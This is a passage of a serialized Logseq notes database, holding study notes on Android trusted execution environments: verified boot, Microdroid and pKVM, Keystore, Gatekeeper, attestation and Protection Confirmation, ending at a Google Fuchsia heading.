uselogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[970,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[970,logseq____&quot;^Flogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[970,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[970,logseq____&quot;^Vlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[970,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[970,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-a749-429e-9c2f-10519d9055eflogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Android Implementationslogseq____&quot;,536878281]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^Flogseq____&quot;,972,536878170]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^Vlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878281]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878281]],[logseq____&quot;^15logseq____&quot;,[971,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-14fd-49da-ae82-64bd788c4fb0logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Boot Procedurelogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^Flogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^Vlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^Jlogseq____&quot;,[],536878170]],[logseq____&quot;^15logseq____&quot;,[972,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-a4d4-4c1e-a161-43648dc175d9logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[974,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Startup loads code and keys in TEE, configures address controller and starts traditional bootlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[974,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[974,logseq____&quot;^Flogseq____&quot;,956,536878170]],[logseq____&quot;^15logseq____&quot;,[974,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[974,logseq____&quot;^Vlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[974,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[974,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-a603-42a9-ab08-90ee0f940647logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Android Virtualization Frameworklogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^Flogseq____&quot;,964,536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^Vlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^Jlogseq____&quot;,[],536878170]],[logseq____&quot;^15logseq____&quot;,[975,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-614c-4826-9abd-7b4078d7989elogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[976,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Microdroid: mini Android running in pKVM (protected kernel-based virtual machine)logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[976,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[976,logseq____&quot;^Flogseq____&quot;,975,536878170]],[logseq____&quot;^15logseq____&quot;,[976,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[976,logseq____&quot;^Vlogseq____&quot;,975,536878170]],[logseq____&quot;^15logseq____&quot;,[976,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[976,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-2610-4277-99d4-64bdafccebf3logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[977,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only architecture with 3-rd party developer eco systemlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[977,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[977,logseq____&quot;^Flogseq____&quot;,958,536878170]],[logseq____&quot;^15logseq____&quot;,[977,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[977,logseq____&quot;^Vlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[977,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[977,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-ced2-44d9-8462-89f64897effelogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[978,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;CMAC (Cipher-mode Message Authentication Code) on Passwordslogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[978,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[978,logseq____&quot;^Flogseq____&quot;,964,536878170]],[logseq____&quot;^15logseq____&quot;,[978,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[978,logseq____&quot;^Vlogseq____&quot;,964,536878170]],[logseq____&quot;^15logseq____&quot;,[978,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[978,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-f096-42f6-8960-ad3d69b2b7cclogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Informationlogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^Flogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^Vlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^Jlogseq____&quot;,[],536878170]],[logseq____&quot;^15logseq____&quot;,[979,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-c1e8-4750-9245-994e34adae46logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Android Verified Boot 2.0logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^Flogseq____&quot;,966,536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^Vlogseq____&quot;,951,536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^Jlogseq____&quot;,[],536878170]],[logseq____&quot;^15logseq____&quot;,[980,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-13d9-40c5-9f54-885d1807462flogseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Exit enclave to start normal boot\\nlogseq.order-list-type:: numberlogseq____&quot;,536878219]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^Flogseq____&quot;,963,536878170]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^Xlogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^Vlogseq____&quot;,966,536878170]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^Ulogseq____&quot;,854,536878170]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878219]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^19logseq____&quot;]],536878219]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878219]],[logseq____&quot;^15logseq____&quot;,[981,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bc-c051-4a61-98c3-ae9591736595logseq____&quot;,536878170]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Start in \\logseq____&quot;Secure World\\logseq____&quot; (trusted enclave)\\nlogseq.order-list-type:: numberlogseq____&quot;,536878210]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878200]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^Flogseq____&quot;,966,536878200]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^Xlogseq____&quot;,854,536878200]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^Vlogseq____&quot;,966,536878200]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^Ulogseq____&quot;,854,536878201]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878210]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[logseq____&quot;^19logseq____&quot;]],536878210]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^19logseq____&quot;,logseq____&quot;numberlogseq____&quot;],536878210]],[logseq____&quot;^15logseq____&quot;,[982,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd80bc-3451-4372-8f2f-028724b7eeb5logseq____&quot;,536878200]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Ensures chain of trust by signed hash metadata in TEElogseq____&quot;,536878250]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878237]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^Flogseq____&quot;,959,536878237]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^Xlogseq____&quot;,854,536878237]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^Vlogseq____&quot;,980,536878237]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^Ulogseq____&quot;,854,536878238]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878250]],[logseq____&quot;^15logseq____&quot;,[983,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd818f-6dc4-49a8-b652-cdb4516c51f9logseq____&quot;,536878237]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Keystore (HAL): Dynamically loadable library used by keystore service providing hardware-backed cryptographic serviceslogseq____&quot;,536878373]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878274]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^Flogseq____&quot;,985,536878281]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^Xlogseq____&quot;,854,536878274]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^Vlogseq____&quot;,971,536878276]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^Ulogseq____&quot;,854,536878282]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878373]],[logseq____&quot;^15logseq____&quot;,[984,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd821a-4ad0-4899-a1a5-745629e79bfclogseq____&quot;,536878274]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Gatekeeper and Fingerprint use user-space demons to call their respective TEE process to obtain an auth-token, handed to keystore (which inturn verifies using its TEE process)logseq____&quot;,536878346]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878281]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^Flogseq____&quot;,971,536878281]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^Xlogseq____&quot;,854,536878281]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^Vlogseq____&quot;,971,536878281]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^Ulogseq____&quot;,854,536878282]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878346]],[logseq____&quot;^15logseq____&quot;,[985,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd823e-ba92-41b3-b38b-9f2c42122095logseq____&quot;,536878281]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for attestion (provable that key was generated and stored in TEE)logseq____&quot;,536878402]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878376]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^Flogseq____&quot;,984,536878376]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^Xlogseq____&quot;,854,536878376]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^Vlogseq____&quot;,984,536878380]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^Ulogseq____&quot;,854,536878377]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878402]],[logseq____&quot;^15logseq____&quot;,[986,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8350-debe-43c2-bdeb-2e8d822b3ec4logseq____&quot;,536878376]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Wrap shared keys in another encryption layer shared with TEElogseq____&quot;,536878418]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878405]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^Flogseq____&quot;,986,536878405]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^Xlogseq____&quot;,854,536878405]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^Vlogseq____&quot;,984,536878405]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^Ulogseq____&quot;,854,536878406]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878418]],[logseq____&quot;^15logseq____&quot;,[987,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd8377-1095-4aea-8048-bb076233528blogseq____&quot;,536878405]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Gatekeeper: Used for TEE-backed authentication (pattern/password), signs authentication attestationlogseq____&quot;,536878465]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878421]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^Flogseq____&quot;,984,536878425]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^Xlogseq____&quot;,854,536878421]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^Vlogseq____&quot;,971,536878425]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^Ulogseq____&quot;,854,536878422]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878465]],[logseq____&quot;^15logseq____&quot;,[988,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd838f-ff3a-493c-97eb-2020d5928493logseq____&quot;,536878421]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Real-Time Kernel Protection: Move certain functionality into enclaves to mitigate kernel injection or memory attackslogseq____&quot;,536878503]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878466]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^Flogseq____&quot;,988,536878466]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^Xlogseq____&quot;,854,536878466]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^Vlogseq____&quot;,971,536878466]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^Ulogseq____&quot;,854,536878467]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878503]],[logseq____&quot;^15logseq____&quot;,[989,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd83cc-7ad8-41ab-a252-73b35f98c09flogseq____&quot;,536878466]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## REE as Interaction with TEEslogseq____&quot;,536878519]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878506]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^Flogseq____&quot;,971,536878508]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^Xlogseq____&quot;,854,536878506]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^Vlogseq____&quot;,854,536878508]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^Ulogseq____&quot;,854,536878507]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878519]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878519]],[logseq____&quot;^15logseq____&quot;,[990,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd84a9-a410-479b-a4f1-9e15bd674cd6logseq____&quot;,536878506]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Provide API for interaction between REE and TEElogseq____&quot;,536878535]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878519]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^Flogseq____&quot;,990,536878519]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^Xlogseq____&quot;,854,536878519]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^Vlogseq____&quot;,990,536878521]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^Ulogseq____&quot;,854,536878520]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878535]],[logseq____&quot;^15logseq____&quot;,[991,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd84b4-f9cb-4b02-91ff-b73c34f21098logseq____&quot;,536878519]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Provide pointers to memorylogseq____&quot;,536878548]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878535]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^Flogseq____&quot;,991,536878535]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^Xlogseq____&quot;,854,536878535]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^Vlogseq____&quot;,990,536878535]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^Ulogseq____&quot;,854,536878536]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878548]],[logseq____&quot;^15logseq____&quot;,[992,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd84c8-8df1-4c64-9f1d-3324d13190d1logseq____&quot;,536878535]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Requires Trusted UIlogseq____&quot;,536878558]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878551]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^Flogseq____&quot;,992,536878551]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^Xlogseq____&quot;,854,536878551]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^Vlogseq____&quot;,990,536878551]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^Ulogseq____&quot;,854,536878552]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878558]],[logseq____&quot;^15logseq____&quot;,[993,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd84dc-a4b9-4d31-90f5-0dde3d7528b4logseq____&quot;,536878551]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Android Protection Confirmationlogseq____&quot;,536878568]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878561]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^Flogseq____&quot;,993,536878561]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^Xlogseq____&quot;,854,536878561]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^Vlogseq____&quot;,990,536878561]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^Ulogseq____&quot;,854,536878562]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536878568]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878568]],[logseq____&quot;^15logseq____&quot;,[994,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd84e7-475f-4853-8448-4d4de5ce38b9logseq____&quot;,536878561]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Let user approve of action (confirmation signed with attestation)logseq____&quot;,536878587]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878568]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^Flogseq____&quot;,994,536878568]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^Xlogseq____&quot;,854,536878568]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^Vlogseq____&quot;,994,536878570]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^Ulogseq____&quot;,854,536878569]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878587]],[logseq____&quot;^15logseq____&quot;,[995,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd84ed-b38b-4ee0-8851-0802b4c170dflogseq____&quot;,536878568]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Verifier can check for validitylogseq____&quot;,536878600]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878590]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^Flogseq____&quot;,995,536878590]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^Xlogseq____&quot;,854,536878590]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^Vlogseq____&quot;,994,536878590]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^Ulogseq____&quot;,854,536878591]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536878600]],[logseq____&quot;^15logseq____&quot;,[996,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd853a-57f9-4135-8f3a-d422562643fclogseq____&quot;,536878590]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 8 - Google Fuchsialogseq____&quot;,536878858]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878603]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^@logseq____&quot;,false,536878603]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^Flogseq____&quot;,864,536878603]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^Xlogseq____&quot;,296,536878603]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^Vlogseq____&quot;,296,536878603]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^Ulogseq____&quot;,296,536878604]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878858]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536878858]],[logseq____&quot;^15logseq____&quot;,[997,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd857d-6058-45fa-92b9-ed1d9c7c614flogseq____&quot;,536878603]],[logseq____&quot;^15logseq____&quot;,[998,logseq____&quot;^Klogseq____&quot;,1740473735837,536878607]],[logseq____&quot;^15logseq____&quot;,[998,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536878611]],[logseq____&quot;^15logseq____&quot;,[998,logseq____&quot;^@logseq____&quot;,false,536878607]],[logseq____&quot;^15logseq____&quot;,[998,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;vulnerabilities logseq____&amp; 